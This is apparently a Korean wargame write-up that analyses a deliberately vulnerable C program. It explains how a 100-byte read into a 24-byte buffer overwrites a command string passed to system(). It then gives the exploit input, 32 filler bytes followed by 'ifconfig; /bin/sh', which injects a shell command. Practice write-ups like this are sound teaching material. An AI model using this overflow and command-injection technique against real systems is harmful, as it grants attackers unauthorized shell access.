소스코드 & 보호기법 확인
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int main() { char cmd_ip[256] = "ifconfig"; int dummy; char center_name[24]; init(); printf("Center name: "); read(0, center_name, 100); if( !strncmp(cmd_ip, "ifconfig", 8)) { system(cmd_ip); } else { printf("Something is wrong!\n"); } exit(0); }
center_name 변수에 이것의 크기보다 큰 100바이트를 읽어들임 => BOF 가능
strncmp() => string1 및 string2를 count자 만큼 비교 => 같으면 0 반환하고 system() 실행됨
즉 cmd_ip 변수의 맨앞에 ifconfig만 유지돼있으면 system()이 실행됨

Exploit 계획
cmd_ip 변수를 ifconfig; /bin/sh로 조작하면 셸을 얻을 수 있다.
<- center_name buffer를 overflow하여 cmd_ip buffer를 조작한다.
center_name 변수에 입력받는 순간의 스택 구조를 알아내자.
<- 어셈블리를 보자.

read()의 2번째 인자가 center_name buffer의 주소이다. = rbp - 0x130
strncmp()의 1번째 인자가 cmd_ip buffer의 주소이다. = rbp - 0x110
higher address...
SFP [rbp]
cmd_ip buffer [rbp-0x110]
center_name buffer [rbp-0x130]
lower address...
center_name ~ cmd_ip까지 dummy 값으로 0x20바이트를 채우고,
그 뒤로는 ifconfig; /bin/sh을 채우자.
Exploit 결과
입력: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaifconfig; /bin/sh
(0x20자의 a 이후 ifconfig; /bin/sh)

'보안 > Wargame' 카테고리의 다른 글
[System Hacking] validator (0) | 2025.03.17 |
---|---|
[System Hacking] sint (0) | 2025.03.13 |
[System Hacking] tcache_dup2 (0) | 2025.03.10 |
[System Hacking] tcache_dup (0) | 2025.03.07 |
[System Hacking] Tcache Poisoning (0) | 2025.02.13 |